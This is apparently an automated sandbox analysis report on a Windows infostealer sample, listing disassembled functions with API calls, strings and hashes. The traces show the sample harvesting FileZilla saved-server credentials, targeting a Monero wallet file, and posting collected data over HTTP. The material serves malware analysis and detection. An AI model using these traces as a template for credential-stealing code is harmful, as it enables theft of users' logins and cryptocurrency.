String ID:
API String ID:
Opcode ID: fb8539e3deeb8f809241483ce718149ffa8ac2f5585c34d4e6814eb94be1764e
Instruction ID: 690efe464eff9d80923d9d2593dd3d263c70fae42354a84f208297f3ecc125d4
Opcode Fuzzy Hash: fb8539e3deeb8f809241483ce718149ffa8ac2f5585c34d4e6814eb94be1764e
Instruction Fuzzy Hash: 2641C2F290D608DBE304AE99DC4463EBBE9EB94610F46C92DEAC687300E5325851C7D7

Function 01055DE1 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6cf57101eb416f8f4b34b0fd45b502c4e89b0ccfa5f73a9aa71f2151f90e058
Instruction ID: 233b853540a353dd7539116964897c7e3cf7d587461f97c4fd8317ecea89ce52
Opcode Fuzzy Hash: a6cf57101eb416f8f4b34b0fd45b502c4e89b0ccfa5f73a9aa71f2151f90e058
Instruction Fuzzy Hash: FB3107F3A0431C8BF714AD39DC95762B6879BD0320F2B463D9B48977C4FC3AA8054289

Function 01096E2B Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa9d85cf5d2002df337c2791f60b8d99b4f93c2f883e71765f87f5eddce0253f
Instruction ID: 6d31a59648e90cbd5964c437929e2536737140e9c3618e09f23033f5422c66c1
Opcode Fuzzy Hash: fa9d85cf5d2002df337c2791f60b8d99b4f93c2f883e71765f87f5eddce0253f
Instruction Fuzzy Hash: 5F214BF291C704AFD701AF69DC8267AF7E8EF58660F16482DEAD4C3640E77198408B93

Function 00CB9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00CB0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CB8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CB8E0B

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CA99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CA99EC
Part of subcall function 00CA99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CA9A11
Part of subcall function 00CA99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00CA9A31
Part of subcall function 00CA99C0: ReadFile.KERNEL32(000000FF,?,00000000,00CA148F,00000000), ref: 00CA9A5A
Part of subcall function 00CA99C0: LocalFree.KERNEL32(00CA148F), ref: 00CA9A90
Part of subcall function 00CA99C0: CloseHandle.KERNEL32(000000FF), ref: 00CA9A9A

Part of subcall function 00CB8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CB8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00CC0DBA,00CC0DB7,00CC0DB6,00CC0DB3), ref: 00CB0362
RtlAllocateHeap.NTDLL(00000000), ref: 00CB0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00CB0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CC0DB2), ref: 00CB0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00CB03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CC0DB2), ref: 00CB03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00CB0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CC0DB2), ref: 00CB0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00CB0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CC0DB2), ref: 00CB0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CC0DB2), ref: 00CB0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CC0DB2), ref: 00CB051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CC0DB2), ref: 00CB0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CC0DB2), ref: 00CB054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00CB0562
lstrcat.KERNEL32(?,profile: null), ref: 00CB0571
lstrcat.KERNEL32(?,url: ), ref: 00CB0580
lstrcat.KERNEL32(?,00000000), ref: 00CB0593
lstrcat.KERNEL32(?,00CC1678), ref: 00CB05A2
lstrcat.KERNEL32(?,00000000), ref: 00CB05B5
lstrcat.KERNEL32(?,00CC167C), ref: 00CB05C4
lstrcat.KERNEL32(?,login: ), ref: 00CB05D3
lstrcat.KERNEL32(?,00000000), ref: 00CB05E6
lstrcat.KERNEL32(?,00CC1688), ref: 00CB05F5
lstrcat.KERNEL32(?,password: ), ref: 00CB0604
lstrcat.KERNEL32(?,00000000), ref: 00CB0617
lstrcat.KERNEL32(?,00CC1698), ref: 00CB0626
lstrcat.KERNEL32(?,00CC169C), ref: 00CB0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CC0DB2), ref: 00CB068E

Strings

<Pass encoding="base64">, xrefs: 00CB045A
<Port>, xrefs: 00CB03C6
browser: FileZilla, xrefs: 00CB0559
profile: null, xrefs: 00CB0568
<User>, xrefs: 00CB0410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00CB02A4
password: , xrefs: 00CB05FB
login: , xrefs: 00CB05CA
<Host>, xrefs: 00CB037C
url: , xrefs: 00CB0577

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 20c573cca18af120348822e71a7dc7fee7fb46fd8242a493bbff1865baeea347
Instruction ID: ab5d579a14a59d6746876937a6107da3e33ce238b636be5d4bd37b83ba60958b
Opcode Fuzzy Hash: 20c573cca18af120348822e71a7dc7fee7fb46fd8242a493bbff1865baeea347
Instruction Fuzzy Hash: 2ED12F71900208AFCB04EBF5DD9AEEE7778EF54300F544428F542BA091DF75AA4AEB61

Function 00CA5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CA47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CA4839
Part of subcall function 00CA47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CA4849

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00CA59F8
StrCmpCA.SHLWAPI(?,009DF1A0), ref: 00CA5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CA5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,009DF2F0,00000000,?,009DE618,00000000,?,00CC1A1C), ref: 00CA5E71
lstrlen.KERNEL32(00000000), ref: 00CA5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00CA5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00CA5E9A
lstrlen.KERNEL32(00000000), ref: 00CA5EAF
lstrlen.KERNEL32(00000000), ref: 00CA5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00CA5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00CA5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00CA5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00CA5F4C
InternetCloseHandle.WININET(00000000), ref: 00CA5FB0
InternetCloseHandle.WININET(00000000), ref: 00CA5FBD
HttpOpenRequestA.WININET(00000000,009DF250,?,009DE910,00000000,00000000,00400100,00000000), ref: 00CA5BF8

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

InternetCloseHandle.WININET(00000000), ref: 00CA5FC7

Strings

------, xrefs: 00CA5C0B
------, xrefs: 00CA5D4C
", xrefs: 00CA5E16
------, xrefs: 00CA5A96
", xrefs: 00CA5CD5

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: f272be415cdd41db303acd3371c283272ba4f0b0d3e956509f76ea62f20d73bc
Instruction ID: e77646ed72e0b89945579196809041491bc15f6ce60d7c02d5f4c9b4820d1365
Opcode Fuzzy Hash: f272be415cdd41db303acd3371c283272ba4f0b0d3e956509f76ea62f20d73bc
Instruction Fuzzy Hash: 4D121B71820128BADB15EBA0DC95FEEB37CBF14700F5041A9F14676491EF702A4AEF65

Function 00CACEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CB8B60: GetSystemTime.KERNEL32(00CC0E1A,009DE528,00CC05AE,?,?,00CA13F9,?,0000001A,00CC0E1A,00000000,?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CB8B86

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CACF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00CAD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00CAD0CE
lstrcat.KERNEL32(?,00000000), ref: 00CAD208
lstrcat.KERNEL32(?,00CC1478), ref: 00CAD217
lstrcat.KERNEL32(?,00000000), ref: 00CAD22A
lstrcat.KERNEL32(?,00CC147C), ref: 00CAD239
lstrcat.KERNEL32(?,00000000), ref: 00CAD24C
lstrcat.KERNEL32(?,00CC1480), ref: 00CAD25B
lstrcat.KERNEL32(?,00000000), ref: 00CAD26E
lstrcat.KERNEL32(?,00CC1484), ref: 00CAD27D
lstrcat.KERNEL32(?,00000000), ref: 00CAD290
lstrcat.KERNEL32(?,00CC1488), ref: 00CAD29F
lstrcat.KERNEL32(?,00000000), ref: 00CAD2B2
lstrcat.KERNEL32(?,00CC148C), ref: 00CAD2C1
lstrcat.KERNEL32(?,00000000), ref: 00CAD2D4
lstrcat.KERNEL32(?,00CC1490), ref: 00CAD2E3

Part of subcall function 00CBA820: lstrlen.KERNEL32(00CA4F05,?,?,00CA4F05,00CC0DDE), ref: 00CBA82B
Part of subcall function 00CBA820: lstrcpy.KERNEL32(00CC0DDE,00000000), ref: 00CBA885

lstrlen.KERNEL32(?), ref: 00CAD32A
lstrlen.KERNEL32(?), ref: 00CAD339

Part of subcall function 00CBAA70: StrCmpCA.SHLWAPI(009D8C28,00CAA7A7,?,00CAA7A7,009D8C28), ref: 00CBAA8F

DeleteFileA.KERNEL32(00000000), ref: 00CAD3B4

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 54bdd61bbfcf834269a39260d10819830fbdf09fef1a6377185e36c8bdedf469
Instruction ID: 296e1dfa1944c6cefe3f4150c7d0de3f5fc04623b65bcb84237b1f832c9cc527
Opcode Fuzzy Hash: 54bdd61bbfcf834269a39260d10819830fbdf09fef1a6377185e36c8bdedf469
Instruction Fuzzy Hash: B5E11A71910109AFCB18EBA1DD96EEE7378AF14301F144168F547B70A1DE35BA0AEB62

Function 00CAC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,009DD3F8,00000000,?,00CC144C,00000000,?,?), ref: 00CACA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00CACA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00CACA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CACAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00CACAD9
StrStrA.SHLWAPI(?,009DD4E8,00CC0B52), ref: 00CACAF7
StrStrA.SHLWAPI(00000000,009DD410), ref: 00CACB1E
StrStrA.SHLWAPI(?,009DD920,00000000,?,00CC1458,00000000,?,00000000,00000000,?,009D8B58,00000000,?,00CC1454,00000000,?), ref: 00CACCA2
StrStrA.SHLWAPI(00000000,009DDA60), ref: 00CACCB9

Part of subcall function 00CAC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00CAC871
Part of subcall function 00CAC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00CAC87C

StrStrA.SHLWAPI(?,009DDA60,00000000,?,00CC145C,00000000,?,00000000,009D8AC8), ref: 00CACD5A
StrStrA.SHLWAPI(00000000,009D89B8), ref: 00CACD71

Part of subcall function 00CAC820: lstrcat.KERNEL32(?,00CC0B46), ref: 00CAC943
Part of subcall function 00CAC820: lstrcat.KERNEL32(?,00CC0B47), ref: 00CAC957
Part of subcall function 00CAC820: lstrcat.KERNEL32(?,00CC0B4E), ref: 00CAC978

lstrlen.KERNEL32(00000000), ref: 00CACE44
CloseHandle.KERNEL32(00000000), ref: 00CACE9C

Strings

, xrefs: 00CAC9C6

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 918248356c2bcecb0ce60dc29d0d32bc11512fb2b3ff44f03a1dc581ca6abe9d
Instruction ID: 053ec0ca2588ae6b50920436787bca18f6d83705f02be8afca9d8d8ac63c0506
Opcode Fuzzy Hash: 918248356c2bcecb0ce60dc29d0d32bc11512fb2b3ff44f03a1dc581ca6abe9d
Instruction Fuzzy Hash: 06E1F771C10108BFDB14EBA1DCA6FEEB778AF14300F444169F146B6592EF316A4ADB62

Function 00CB8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

RegOpenKeyExA.ADVAPI32(00000000,009DB908,00000000,00020019,00000000,00CC05B6), ref: 00CB83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00CB8426
wsprintfA.USER32 ref: 00CB8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00CB847B
RegCloseKey.ADVAPI32(00000000), ref: 00CB848C
RegCloseKey.ADVAPI32(00000000), ref: 00CB8499

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Strings

?, xrefs: 00CB837A
- , xrefs: 00CB85A3
%s\%s, xrefs: 00CB844D

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

